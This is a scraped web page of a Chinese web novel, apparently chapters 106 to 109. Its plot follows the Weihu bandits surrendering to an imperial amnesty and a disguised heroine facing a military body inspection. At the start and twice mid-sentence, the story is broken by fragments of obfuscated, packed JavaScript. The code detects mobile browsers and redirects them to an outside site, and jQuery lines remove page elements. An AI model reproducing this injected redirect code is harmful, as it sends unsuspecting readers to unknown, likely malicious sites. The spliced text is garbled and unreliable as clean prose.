0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888155|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄悄走的。” 白冲听他这话越发愤愤,“你早说过也要我好好跟着幽王办差的,却不想我这脑子就是转不过弯来,我那时心里确实有气,可那是我气自己没明白幽王话中深意,我不痛快因而谁都不想搭理,又不单是不理你一个!你有话不直接与我讲清楚,却跟个小娘们似的自个瞎猜,若我今夜不来寻你,我岂不是一辈子都要在你这儿落个小肚鸡肠的名声了!” “白老弟,是我狭隘了,同甘共苦数月却不告而别,此事是我做得不对,我给你赔个不是。”王羌曹说完笑了笑,竟真拱手向白冲作了个揖。 白冲出城策马追王羌曹只想发火出气,又不是为受他致歉作揖。 他连忙扶起王羌曹,别别扭扭说,“我这人性子直,有什么说什么,你若看不惯与我要打要骂都行,行礼做什么,怪生分的……” “你性子直,心善,为人又简单直率,心思全写在脸上,这是你的长处,能与你这样的人做兄弟是我的福气,但是……若你这些长处妨碍到别人时,就会瞬间变成你的催命符。” 看白冲眨着眼睛一脸茫然,王羌曹继续说,“幽王来虔来山,剿匪只是名义,招安与拉拢白知州才是他的目的,若你不是白知州独子,只凭你刚开始当着他面张口闭口要屠灭虔来山土匪之言,幽王就能像悄无声息的处理掉吕贾一样,处理掉你。” “你勇猛却太过冲动,说话办事也不圆滑,这些也算不上是什么大错,可你爹是大官,想捏他软肋的人数不胜数,而你,往后若再不谨言慎行,还是这般恣意妄为,不正是将白大人的命门大大方方的展露给别人看么。” 这话让白冲想起,父亲曾说原先他也不知幽王来兴民城想图谋什么,可是在自己短时间内连立两功之后他知道了。 王羌曹为白冲将来担忧,啰啰嗦嗦说了这许多,而白冲静静听完,一句话也没有反驳,他心里泛起嘀咕,觉得是不是自己话有些太重。 “我说这些并不是有意与你作对,只是……” “我明白,你这话还算是客气。” 白冲打断王羌曹,笑笑,“我原先还亲耳听人说我‘做事太过冲动,勇猛有余、脑力却不足,难怪这个年纪了,只是个什长’。” “啊?” 王羌曹想问谁这么有眼力,却没好意思开口,白冲好像从他脸上看出这个疑惑,又说,“是威虎寨二当家,那个叫初暒的小子,她见我第一面就看出我是个什么样的人了。” “原来是她,难怪你对她念念不忘。” “我这样的人,你们这些聪明的一看便知,可我生性如此,又怎能说改就改呢。”白冲神情有些沮丧,“我爹说你圆猾,办事十分稳重,我跟着你没出过什么错处,可你要走了。” 王羌曹顿了顿,说,“朝廷已招安威虎寨,你如此欣赏那位二当家,想来她定然也是个有才能的人。” 白冲试图挽留,“与威虎寨二当家争斗数月,你难道不想亲眼瞧瞧她的模样?” “她接受朝廷招安,若能混出个样子,我自然有能亲眼瞧见她模样的时候,而要是不能,那样一个土匪混子,又有什么好瞧的。” 王羌曹笑着拍了拍白冲的肩膀,“你今夜来寻我,我很高兴,但送君千里,终须一别,就此别过罢,往后得空就来安南庄,王大哥给你做东。” 白冲忽然想起什么拉住他,问,“虔来山剿匪事宜尚未完全结束,按理说你公差未毕,安南县衙不会提前给你安排差事,不知你这么着急回去有何打算?” “我要先去安南书院看看。” “去那儿作甚,我听说那书院不是早被土匪放火烧没了么?” “是被烧没了,但也一直有人在出资出力的修缮,我受人之托,要去挑些有地理之才得学生。” 受人之托? 你这几月都在兴民城,能受何人之托? 一个决心要离开的人,身上总是有很多秘密。 白冲知道不能一直问下去了,于是说,“你有自己要做的事,我留不住,我身上也没有什么值钱的东西,这马儿…就送你吧……” 像是怕他拒绝,白冲将自己手中扯着的缰绳塞给王羌曹后转身就往回跑,边跑边背对着他挥手,高喊,“王大哥,你方才说的我都记下了,放心吧!一路平安——” 目送向前跑的那道简单直率少年的身影渐行渐远,直至消失不见,王羌曹摸摸马脑袋笑了笑而后翻身上去。 “驾——” 从夏天到秋天再到此时的冬日寒夜,原来他并非只有明月随行。 107. 有病 朝廷签发的招安文书送达威虎寨后第二日,白向福收到了威虎寨当家命人回复的受招信件。 信件上简明扼要的阐述威虎寨现已汇聚虔来山所有土匪,他们这些人愿携归顺之心,以凛然之志报效朝廷,并约定三日后举寨下山受招,届时希望负责招安之官员,备妥接纳之礼,切勿轻忽之。 “土匪们在虔来山作乱数年,兴民城百姓无人不想将他们杀之后快,而今朝廷愿意将其免罪招安已是莫大恩赐,这些宵小难道还敢妄想让咱们锣鼓喧天、欢呼雀跃的迎接他们下山吗?真是好会做梦!” 兵部官员读完,‘啪’的一声把信件拍在桌上,柳思无将信从他手下抽出,认真阅读过一番后,说,“这信上言辞周正平和,仔细读来好似还能听出一些官腔,却并不像你口中这般夸张,下官以为无需高调逢迎,这几日只管如常做好接收准备便可,白大人,您意下如何?” 受招信件在州府议事内堂转过一圈后重新回到了白向福手中。 中北百姓多数以务农为生,家中有能下地的劳力,当家的鲜少有愿意让其去上学读书的,故而别说习字书文,就算只能认得几个大字,在乡里乡亲中口中也够得上是有出息的后生了。 白向福低头再次看着那张字迹飘逸刚劲,洒脱中又不失气势的信件时,心里不禁开始好奇能写出这手好字的土匪究竟是个什么样的人,又为何会沦落到落草为匪。 他想起幽王曾说‘虔来山威虎寨中有一位新接任二当家之位的土匪,仅使一把大斧就率众喽啰连夺三寨,一统了虔来,王羌曹与白冲均言说此人有勇有谋、彪悍非常’,也不知这信是否出自他手…… “白大人?” 柳思无看出白向福心不在焉,轻轻唤了他一声,问,“您可还好?” “还好还好。”白向福回过神来,说,“我亦觉得柳大人言之有理,只是……幽王殿下这几日虽在静养,但虔来山匪患诸事仍需由他定夺,稍后我便将此回信与诸位提议一齐呈报幽王,诸位大人若有他务,可先行离去,毋须在此久候。” “是。” 说是稍后要去呈报幽王,可白向福目送同僚们一个个告辞离开,也依旧没有从自己的座位挪动分毫,他唤来亲信小厮将受招信件折好后递了过去,只嘱咐一句,“务必将此物亲手交给幽王。” 眼看小厮领命跑远,白向福终于起身背手缓缓向州府外院走去。 才下过一场小雪,侥幸在萧瑟秋风里存活下来的花草竹叶终究还是没有逃过冬日风雪磋磨,它们零落在地又被往来鞋底踩踏沉成泥,与原先皎白的雪砾掺杂在一起,灰灰白白的让人觉得可怜可惜。 白向福提袍蹲下,正想从泥雪中挑拣出尚有生机的红花绿叶时,门外突然传来一声震天响地的声音—— “爹!” 白冲冲进来迫不及待地问,“爹,我听说威虎寨今日派人送来信件,可是他们答应接受朝廷招安了?” 白向福被儿子这嗓门震得耳膜生疼,微微蹙了蹙眉也不看他,只继续翻看着地上雪泥,道,“你不去协助上官张罗征兵诸事,这般操心土匪招安作甚。” 白冲上前蹲在父亲身边,随手捡了根树枝在地上的薄雪中戳戳画画,说,“送别王羌曹时,他与我说幽王来虔来山,剿匪只是名义,招安与拉拢您才是目的,那时我才晓得自己因冲动闯下的祸事会连累到您,因而我在想,此番要是能顺利招安虔来土匪,那幽王目的达到也就不会再为难您了。” 知道替父亲着想了,白向福心中甚是欣慰,口中却说,“既然想拉拢,便不会为难,你有空担忧我还不如好好琢磨琢磨自己的前途。” 白冲不可思议,压着嗓子问,“爹!您清白做官,也常教导我堂堂正正做人,不会真打算受那个奸王拉拢今后替他办事吧!?” “拿人手短。” “咱还给他不就得了!” 有的东西,一旦到自己手里,无论是不是自己的,都想据为己有。 白向福看着和他一样没怎么见过世面的儿子,叹了口气,说,“爹此生想做个清官是真,教导你堂堂正正也不是假,但……身陷宦海官场多年,爹才总算明白,眼前的黑不完全是黑,这世上的白也并非只纯粹是白,要想为民请命,要想请的长久,非得将自己的良心这般打磨过一遭不可。” “我不明白。” “你以后会明白。” 白冲心里堵着,一个用力便将手中枯枝戳断,一旁的白向福从泥雪中捡出一片被冻得僵硬的竹叶,他拂去叶片上的薄冰,竹叶带着水汽,越发青翠欲滴。 “不过……幽王心里打的什么主意无人知晓,爹也不知此次助他招安虔来土匪究竟是不是助纣为虐。” “此次受招的威虎寨二当家初暒,她既然能够在短时间一统虔来山所有土匪,身上定然有其过人之处,那人虽心狠手辣却能在与黑鹰岭争斗中设计放走无数被掳掠的无辜百姓,也不算冷酷无情,我曾亲眼见过她,观其言行举止、处事作风我也确实觉得那是一个身负才能之人,况且我曾听她亲口说,他们无意与朝廷作对,你们琢磨的那些弯弯绕我搞不明白,我只知道这样的人,要是能为中北所用,定然是好事一桩的。” 白冲脾性大,很少能从他口中听到谁的好话,白向福惊讶之余脑中忽然窜出幽王审问吕贾那日他得知虔来山曾潜伏着外敌的消息,便试着询问,“你进山剿匪时杀了熊黑,除她之外你可听说过土匪中有姓马的?” “自然!” 提起这姓氏,白冲立即恨得咬牙切齿,“那人名叫马皓,柱子就是为了救我死于他手的,初暒带我追击他时,他还以假死诓我,也被我一刀砍了!” 吕贾的话原是真的。 白向福心中一阵后怕,要不是此番剿匪,这些外敌贼子还不知要祸害多少中北百姓。 白冲问,“爹,你如何知晓土匪中有姓马的?” 默默思忖片刻,白向福还是与他实话实说,“熊黑、马皓都是潜伏在虔来山土匪窝中的南夷奸细。” “什么!” 白冲闻言猛地站起,“他们竟是…竟是……” 竟是南夷人! 白冲焦躁的在院中来回踱步,像是忽然想起什么他边走边嘀咕,“怪不得他假死前叽里咕噜与我说了那些让我摸不着头脑的话……” “他与你说过什么?” 听到父亲询问,白冲再次蹲下,仔细回忆片刻后才道,“他与我说,‘世人都说兴民城繁荣与富饶,滋养了一方百姓,却不知边境连年战乱朝廷上下、大官小吏早已将兴民城内外百姓盘剥的渣都不剩!我等在朝廷的管制下活不下去,于是跑进山中自己养活自己,而你们这些自诩为民请命的官!却偏偏要来毁我们的太平日子!你想要我的命给你兄弟赔罪!我偏不给!我非要用我这条命让你记住,中北朝廷逼民做匪,假仁义!真卑鄙!’” 忿忿说完,白冲终于明白,“他这话原来是挑拨,难怪他非要杀一个官兵嫁祸威虎寨土匪,这帮狗娘养的,竟然敢跑的中北地界撒野!可是……爹,这事您是怎么知道的?” “虔来山土匪中有幽王的人,幽王早知虔来山中详情,这些事情是他审问吕贾时透露给我听的。”白向福偏头看着儿子,严厉叮嘱,“你担忧爹被你连累,爹何尝不怕带累你承受骂名,那山并不只有地势复杂,人也需小心堤防,若将其招安,你不许与他们交往过甚,尤其……是那个初暒!” 父亲这话白冲听着十分耳熟,他心里有许多疑惑,早想找初暒问问清楚,就盼着他们尽早下山受招呢。 “既然您已决心用自己的法子为民请命,那便无需再考虑其他,我长大了,也有了想要去做的事,只要能走在我们想走的路上,骂名又有何惧。” 白向福哦了一声,问,“你想做何事?” 白冲甩了手中断枝,起身昂扬说,“外敌嚣张,竟敢将贼手伸进我大兴地盘!招安土匪后,我也要同他们一样从军入伍做正儿八经的中北官兵,在战场上奋勇杀敌、步步高升,若将来能召集五万兵士,孩儿定然能够带领他们讨平凶悍漠匪,杀退奸狡南蛮,还中北百姓永世安宁!” 少年语毕,澎湃地看向父亲,却见白向福蹲在地上望着自己,待他眼里期待的光茫散尽,又开始左右寻找着什么。 片刻后,白冲双眼一瞪然后撒腿就跑,而他身后的白向福摸到趁手家伙后立即抄起板凳追着他满院子跑,边追边骂—— “真是不知天高地厚!” “老子让你小子再狂……” —— 收到朝廷正式的招安文书后,威虎寨土匪果真没有在那上面瞧见要他们交出诸如当家人头做见面礼之类的字眼。 初暒读完文书,再次与土匪们确定了他们中再没有不同道者及先前受过朝廷招安却重又逃跑落草为寇者后,提笔一气呵成的书写了回复给朝廷的受招信件。 楚六先前为齐威虎办事,曾扬言要取初暒性命,又没想到初暒没死,自己反而先给齐威虎收了尸,因而追随初暒后,他总觉得有些心虚。 为将功赎罪,楚六主动揽了将受招信件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888156|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送去府衙的差事。 下山跑完这一趟腿后,楚六回来兴高采烈地与众人说,他一个小喽啰送信过去竟被兴民城郑县令奉为了座上宾,一群人收完信又好吃好喝的招待过一番后才恭恭敬敬送他离开,如此礼遇足以证明朝廷对招安他们威虎寨一事十分重视。 土匪们听他这话,都顿时放下心来,有人提议既然三日后他们就要离开虔来山了,不如再最后在这山、这寨里好好吃一顿饭,也算是对大家伙儿的土匪生涯做个告别。 初暒点头同意,于是威虎寨众多土匪喽啰在受招前一天在黑鹰岭中大摆宴席。 一群人起先只是规规矩矩的大口吃喝,到吃的差不多才开始纷纷畅谈自己将来从军后要如何驰骋沙场,如何做顶天立地的大英雄,到后来酒到酣时,有不少喽啰都流着泪惋惜往后大家估计再过不上在虔来山这般逍遥快活的日子了,但是谁能想到他们这帮人人喊打的土匪草寇竟也能被朝廷看中招安,以后也算是能在这世间抬头做人。 不知是谁最先起了头,说要给一统虔来的当家初暒敬酒,毕竟没有她,他们这些犯了事只能在虔来山里过掳掠打劫日子的土匪哪能有如今这般指望,可是一群人端着酒碗,从桌头走到桌尾,扭过每一个喝得脸色通红的土匪脑袋也没寻见自己的当家时,大着舌头互相问了一句,“人呢?” 伍二仰头灌了一口酒后,站起将这些已经喝得差不多的喽啰们一一按在座上,说,“明日还有大事要办,今夜就喝到这里罢,楚六、潘闯,醒醒酒将兄弟们带回去睡觉。” 看到潘闯点头,伍二随手提了壶酒独自出了黑鹰岭, 他来到埋葬着齐威虎与燕双鹰尸骨的坟头,果真在那里找到了靠坐在旁边树下的初暒。 “兄弟们感激二当家带威虎寨众人走上一条明路,想与您敬酒,没想到您躲在此处。” 伍二朝初暒走去,将手中酒壶递给她,问,“喝点?” 初暒接过酒壶,却并没有往自己嘴边送,只说,“接受朝廷招安是我心之所愿,此行是福是祸我自己都不知晓,又怎么敢说是为他们指了明路。” “是福是祸都与你无关。”伍二也坐了下来,“能遇上你,能有个奔头,已经是我们福分,招安后众人命途如何,全靠各自运气吧,你不必将他人的将来背在自己身上。” 初暒哼笑一声,这笑声像是自嘲又像带着些苦味,伍二不知道她小小年纪为何会流露出这幅神情,又听她问,“你遭人追杀才上山做土匪,受招后不怕害你之人将你认出么?” “土匪受招安,若能被编入伍,便可直接脱民籍,入军籍,即使被认出,那人要想杀一个在籍士兵,恐怕也不是什么容易的事。” “话虽如此,但还是切莫大意,万事仍需小心。” “是。” 伍二应完声,周遭便重新安静下来,初暒沉默不语的望向树下两座崭新坟头,又感觉自己身旁这人来回看着自己似乎有些欲言又止,她偏过头,回看他说,“你有话可以直接问。” 伍二点点头,终于问出那个在他心里疑惑许久的问题,“你如何得知虔来山土匪中混有南夷人?” “上虔来山之前,我就与他们同伙交过手。” 伍二想起与初暒相认后,她特地请自己帮忙留意寨中生活习性与寻常中北人不同的土匪喽啰,恍然道,“你留在虔来山并收服四寨土匪,除了想受招安,难道也是为了铲除这些南夷奸细?” “是。” “只是这两个原因吗?” “不止。” 虽然初暒有问必答,却并不肯与自己多说一句,伍二想继续问,可又不知道该从何下嘴,只无奈笑了笑说,“虔来山很大,但我总感觉它在你的眼里很小,我想不通自己这种感觉从何而来,只知道你是一个有很多秘密的人,一般有很多秘密的人都不简单,你的年纪这样轻,又那样不简单,我并不了解你,可又愿意将自己毫不保留的交给你,我有时真是觉得这样的自己……有病。” 这话逗得初暒又是一笑,伍二总算在她脸上看出少年人应该有的笑意。 初暒说,“为何要将自己交给我呢,你只做心中想做的事就很好。” “楚六刚开始瞧不上你,处处与你做对,你得势后也没有与他计较,齐威虎夺你权后又要你的人头,他死后你却仍然愿意留他一副全尸,欺辱你的,你不在乎,想杀你的,你也不在乎,跟着你,是因为我想知道……” 伍二看着初暒一字一顿—— “你这样满身秘密的人,到底在乎什么。” 108. 招安 威虎寨土匪约定下山受招当日一早,值守兴民城门的小兵离得老远就看见有一兵卒模样打扮的男子跨着骏马由远及近,疾驰而过城门时口中还不停高呼着—— “慕将军率赤霄军击退北漠匪贼,复克武江城!慕将军率赤霄军击退北漠匪贼,复克武江城……” 从武江城传信回来的斥候每遇城池就卖命呼喊,因而慕峰青率众击退外敌的消息很快便传遍了中北大地。 初闻武江城告捷,兴民城百姓皆是兴高采烈,他们在欢声笑语与争相崇拜中忽然回想起去年似乎也是这个时候,慕峰青不仅只率两千精兵就全歼敌军狡攻主力,击退北漠驻边境残营,而且还捉了一个卖国贼回都处斩。 没想到已经过去一年,赤霄军仍旧威风不减。 即将应召入伍的少年与汉子们一想到他们就快要和敬仰已久的慕将军一样在战场上奋勇杀敌、威震八方,就立刻觉得自己充满力量,浑身的热血也渐趋沸腾。 城内的征兵点人来人往、门庭若市,城外招安土匪的办事处周围也是人挤着人,熙熙攘攘。 一大早就翘了征兵点差事的白冲同自己一众狐朋狗友混迹人堆,排排蹲在临时搭建的负责招安的官员们议事营帐外翘首以盼。 其中一人好奇问,“我们几个久闻只抡一把大斧就能够率众手下收服虔来山四寨土匪的威虎寨二当家大名,十分好奇那好汉长得什么模样,可小白,你不是已经亲眼见过她了么,为何今日还要再来凑这个热闹?” 白冲:“我初见她时是在夜里,没看清长相,只记得是个清瘦挺拔的小少年,这次来只是想再认认率威虎寨众土匪受朝廷招安的匪首是不是她。” “能一统虔来山土匪的人是个少年?小白,你该不会是夜里眼花,看走眼了吧!” “怎么都是这句话!”白冲不耐烦说,“我都说过很多次了,就算天再黑!我眼睛再花,也不至于连男女老少都分不清吧,威虎寨二当家真是个小娃娃,年龄瞧着比你我还轻呢,你们要是不信,一会儿等他们下山了,瞪大眼睛自己看吧,要真是我浑说,我白冲趴下给你当马骑!” 虽然听白冲放出狠话,可大家伙儿该不信还是不信,其中有一人等得无聊便轱辘着眼珠子四处寻摸,突然他目视着左后方用胳膊肘怼了怼白冲,说,“诶那不是你老爹的公务营帐么,我怎么瞧见他那亲信小厮鬼鬼祟祟的摸进去了……” 营帐中的取暖炭盆火光奄奄一息,寒风趁机从帐帘缝隙摸进去直抵白向福的衣领,白向福缩了缩脖子,又往自己冻得有些僵硬地右手上哈了一口气才重新开始低头书写。 报信小厮入帐后见他还在忙碌,咳咳两声提醒,才回话说,“大人,招安诸事流程小的已经交给幽王手下了,只是幽王近几日闭门不出,好似病得厉害,县衙灶房的小炉上从早到晚都温着的药也不像是能管用的,您看用不用小的多寻几个妙手大夫备着,万一……他在兴民城出点什么事儿,咱们也好有个应对……” “你看着办罢。”白向福书写完停了笔,问,“郑万金最近在忙什么,怎的都不见人影。” “朝里来人,郑县令忙着为他们张罗日常所需,这前前后后的花销他统统都记在县衙账上了,小的偷偷仔细瞧过,那些账目笔笔清楚,条条有据,一点儿错处都挑不出来呢。” 白向福从满桌文书底下摸出幽王塞来的吕贾记账簿子,起身缓缓走到炭盆旁无奈低语,“郑万金这个人精……” 小厮想了想又说,“把柄在您手上,郑县令似乎并不十分放心,有意无意地打听过几回这账簿下落,大人,这东西您切记收好。” 白向福翻看着手中账簿,不在意道,“知道了,你忙去罢。” 小厮躬身退出帐外,白向福嗤笑一声后将手中账簿册子丢进了炭盆。 奄奄一息但尚有红光的炭块一遇账册便立即焕发出勃勃生机,仿佛逐渐变大的虫蚁张着嘴大快朵颐的吞噬着不断在盆里舒展扭曲的张张纸页。 炭盆中的火光活了过来,寒风终于被这阵温暖堵在了营帐之外。 白向福低头望着熊熊燃烧的炭盆,突然听柳思无正在帐外求见。 “柳大人?” 柳思无拱手微微颔首,平心静气道,“白大人,他们…来了。” “好,我这就出去。” 白向福边说边大步流星的往外走,柳思无鬼使神差的朝地上火盆看了一眼,却见在盆中一页页化为灰烬的纸张上并未书写一字。 烧一本空白书册作甚? 柳思无纳闷了一瞬便不作他想,只跟在白向福身后悠悠走出帐外。 城外,兴民城州府军整装待发的列队在虔来山底,而白向福则立于队列前方注视着那群正朝他们渐趋渐近的威虎寨土匪。 州府军队列不远处,白冲身边一个男子踮着脚尖眯眼远眺许久后,问,“小白,你不是说威虎寨二当家常使的兵器是大斧么,怎么我没瞧见那些土匪哪一个身上有大斧呢?该不会……” 男子话还没有问完,就听他旁边一人压着声音兴奋说,“我看见了!原来那大斧绑在他腿上啊!” 顺着他的视线望去,当真能看见土匪队伍前列中有个汉子正撩开自己衣摆将绑在大腿上的大斧取下,几个人不约而同调侃白冲说,“什么瞧着比你我年纪还轻的小娃娃,那威虎寨二当家分明是个高大魁梧的汉子么,小白,你方才说要给我们当马骑的话还算不算数呀?” 白冲没有着急与他们辩驳,只抻着脖子目不转睛的盯着走在土匪队伍之前那几人仔细辨认。 很快,他得意地说,“你们快瞧!我可没有说谎!” 众人抬头再看,又发现那高大魁梧的汉子从腿边取下大斧后并未把大斧握在自己手中,而是双手将其捧给了走在他身边的一位挺拔清瘦、瞧着确实像个小娃娃的男子身前。 率威虎寨一众土匪下山受招,快走到山底等待接收他们的兴民城州府军面前时,初暒余光瞥见身旁的伍二大跨两步走到自己身旁,偏头看去还瞧见他手里捧着的正是她早就不知道丢到何处的大斧。 初暒问,“这东西怎么在你这儿?” “燕山鹰被绑在柴火房时,您吓唬完他就将这斧头砍进他头顶木柱上再没取下来,前几日大家伙儿都在收拾自己的家当,我看您除了身上衣裳也没拿走什么,便将这大斧替您揣上了。”伍二看了一眼前方威风凛凛的府衙官兵,说,“小的原先也算吃过公粮,最明白那帮穿官皮打官腔的人大多都是‘只敬罗衣不敬人’的货色,因而小的担心,您没有这东西恐怕他们会‘故意’有眼不识泰山。” “多谢你替我担心了。” 初暒笑笑,从伍二手中接过大斧后顺手塞进自己后腰襟带。 正巧,此时他们与兴民城州府军之间的距离不过十五丈,于是初暒抬手示意身后众人就此止步,她则独自前行昂首阔步的走到像是等候他们已久的招安官员面前,抱拳朗声道—— “虔来山威虎寨土匪共计五百六十一人奉旨下山受招!” 参与此次接收虔来山土匪的兴民城州府军以及兵部官军大约有两千余人,这些人放在战场上可能不如慕峰青手里的赤霄军能打,可若是依靠天时地利围剿这区区五百六十一个土匪喽啰定然不在话下。 白向福打量着抱拳站在自己面前不卑不亢、神色无比坦荡的虔来山匪首,实在纳闷她看着小小年纪,可眸中那股沉着从容的底气究竟从何而来。 “本官是兴民城知州白向福,是主事此次招安事宜的官员。”自报完家门,白向福问,“你便是连夺三寨,一统虔来山土匪的威虎寨二当家初暒?” 初暒:“正是。” 白向福讶异片刻,话中的赞赏不假掩饰,“久闻初二当家大名,却没想到你年纪轻轻就有如此气魄与本事,当真是自古英雄出少年。” “白知州过奖。”初暒似乎并未将这位高官的夸赞放在心上,只与他客套了一句便从自己怀中掏出两份账册奉上,道,“这是虔来山所有受招土匪名册及上缴兵器钱粮条录,您过目。” 大兴朝廷各官僚体系为妥善保管各类文书信息以便保护文献与查询检索,素有记录留档的习惯,这五百六十一名土匪和他们运下山的东西说多不多,说少也并不算少,但户部官员们要想将这些人与物捋清楚并登记入册少不了要花费上三五日,而今有这两份名录在手,他们最多大约只需一日便可清点明白。 这位土匪当家怎的还知道准备这些? 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888157|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向福心里更加惊奇。 “初当家的有心了,有了这东西,招安诸事想必会更加顺利。” 接过她手中账册,白向福向众人宣告,“兴民城今接收虔来山土匪五百六十一人,钱粮兵器若干车,人员身份核验及收缴器物入库重任皆交由户部左侍郎柳思无及部下担负,受招人员身份审查核验通过之人,悉数由兵部主事官员组织筛选符合征兵条件者入伍参军。” 被分配了公务官员纷纷出列应声答是,主持他们一一与初暒认过脸后,白向福略带歉意道,“本官还有其他要务,不能在此地久留,烦请诸位同僚务必同初暒小兄弟一齐将招安诸事处置妥当。” 言罢,白向福在众人恭送声中微微颔首后转身离去,他走出兴民城州府军队列不远,回首再次看向那个思虑周详、行事稳重的少年时,忽然想起幽王曾说‘兴民县衙中有虔来山土匪奸细,虔来山土匪中亦有本王的人’。 也不知这初暒……是否就是幽王口中提及那人。 如果不是,那招安一事皆大欢喜,可万一…… 那幽王的心思也真是藏都不愿意藏了。 利用儿子与官途逼自己下水,等他自愿跳进水里衣摆尽湿时又将他白向福身上浮出的可用之物捞了个干净后才拉他上岸。 将初暒的受招文书交给幽王后,只得他一句‘土匪愿弃自由之身受招为朝廷所用,值当礼遇。’ 既是礼遇便不需要出钱,白向福没有闲银置办浩大钱场,于是给土匪安排了数千州府军这个人场,虽然场地有些简陋,但他堂堂知州大人舍身亲自出城相迎,也算给幽王与这群土匪面子了。 无奈上了贼船,可白向福都不好意思用身不由己这话自嘲。 他叹了口气,背手徐徐离开。 目送白向福走远,初暒挥手招来伍二与潘闯,命他们二人将运下山的钱粮兵器交由户部清点接收,而她则带领其余土匪随主管户籍的官员核验身份。 楚六跟在初暒身后看着列队在他们左右的兴民城州府军,兴奋说,“瞧瞧,头前儿还想围剿土匪呢,这会儿还不是乖乖站在此处迎接咱们,姜九,你说咱以后穿上这身戎衣肯定要比他们会威风吧!” 姜九在官兵们注视的目光中扬着下巴,附和,“那肯定!他们不过是兴民城州府军,你我今后可是要上战场的杀真正的外敌的,楚六哥,到那时,你可一定要关照我啊!” 楚六一拍胸脯,“那肯定!” 他们俩在一唱一和中很快来到核验户籍身份的营帐前,初暒独自走进帐中站在官员书写桌前,自报姓名,“初暒。” “哪个初?哪个暒?” “雪霁初晴的初,日星暒。” 登记官员书对照完她提供名册上的姓名,头也不抬,又问,“何方人氏?” “孤儿,四方流浪。” “年岁?” 初暒停顿一瞬,答,“十七。” “好,下一位!” 只是这样? 初暒走出营帐后,看威虎寨土匪一个个很快进去又很快出来便知晓此处并不是真正核验土匪身份的地方。 看她在原地出神,楚六提醒她说,“二当家的,里头核验的官儿说确认完身份后咱们就该去兵部营帐报道了。” “好,我们走。” 兵部营帐就搭建在旁边不远,可兵部主事官员像是觉得里头的炭盆似乎烧的太旺,热的他浑身发燥,故而非要将筛兵物件抬到帐外。 一群人冻得直蹦跶,却嘴硬不肯松口进去。 其中一人见方才白知州引见过的虔来山匪首率众过来,立刻抱臂板了脸,冷冷注视着他们一行人在桌前列队。 初暒:“我等已被受户部确认身份,烦请诸位从我开始挑兵。” 初暒说话客气,可兵部主事却并不是像她那般有礼,尤其为首那人,上下打量过初暒一眼又嗤笑一声后,嘲讽道,“中北真是没人了,连这样儿的小鸡崽儿都想从军呢。” 身后土匪有被他这话激怒的,被初暒抬手拦住了。 察觉他们并非一点就炸,那官员似乎觉得没趣,撇了撇嘴后指着初暒,冷斥—— “你!” “将所有衣物褪去,以验正身!” 109. 验身 “你!” “将所有衣物褪去,以验正身!” 兵部官员不耐烦地吼叫才脱口,初暒还没有什么反应,可正在不远处与户部交接兵器钱粮的潘闯听见这话,迅疾甩了手中账册奔冲过来挡在她面前,与为首官吹胡子瞪眼睛的质问道,“你挑兵就挑兵!要我二当家的脱衣裳做甚?!” “不脱衣裳我怎知她身体是否健壮,有无残缺?城里的征兵点也有验身这项,又不是我故意为难她的。” 此人所言非虚,征兵好像是有这么个流程,可他的二当家决不能走这个流程。 潘闯支支吾吾的狡辩,“虔来山地势凶险复杂众所周知,我们流窜在山中做土匪多年,莫说残缺,就是体弱不健壮的兄弟你们定然也找不出一个!尤其我们二当家,要是她身上没有过人本事,你觉得我们这些人能服她么,再说这么冷的天,脱什么脱,直接省了验身这套与你我各自行个方便算了。” 这人遮遮掩掩倒有点意思。 官员瞥了一眼被手下护在身后浑身没二两肉,孱弱的跟个娇小姐似的土匪头儿,脸上忽然显现出一丝怀疑与试探,“大家都是男人看看怎么了,你如此在意,该不会……你们威虎寨当家的……” 潘闯默默吞了吞口水,生怕从他口中听见暴露初暒身份的话来,他还在脑中苦思转圜反驳之语,不料那官员拖着话音许久,才终于不怀好意的嘲弄说,“该不会……你们威虎寨二当家的身有隐疾吧!哈哈哈……” 莫名其妙松了口气,潘闯脸上的紧张松懈不少,他本打算再与这官员打打岔将验身这事儿揭过去,却没想到自己还未开口,旁边就倏地闪过一道身影猛地窜过去给了笑的正欢那人的面门重重一拳。 “哎呦!” 随潘闯跑过来的伍二阻拦楚六不及,于是立即伸手牢牢锢住被打得痛叫出声的官员肩膀,关切问“哎呀呀您可还好?我这兄弟性子粗暴,行事亦鲁莽,冲撞了您,我替他向您赔个不是,还请您大人有大量,千万不要与他计较。” 被那土匪突然地一拳打得眼冒金星,官员闭眼捂着脸颊要摇了摇头才缓过神来要去还击,他扭动着身子想挥拳过去,却不想无论自己怎样挣扎也摆脱不了面前这人的束缚,他怒极,破口大骂,“放开老子!你们这帮狗娘养的竟敢袭击上官!” 楚六本就不服这些拿着鸡毛当令箭的鹰爪孙,此时又被这一声谩骂激的怒上心头,也不顾潘闯与姜九死命拉扯,指着他边冲边骂,“你才是狗娘养的!你一个小杂碎都敢欺辱我们当家!朝廷招安我们威虎寨就是这样招的?” 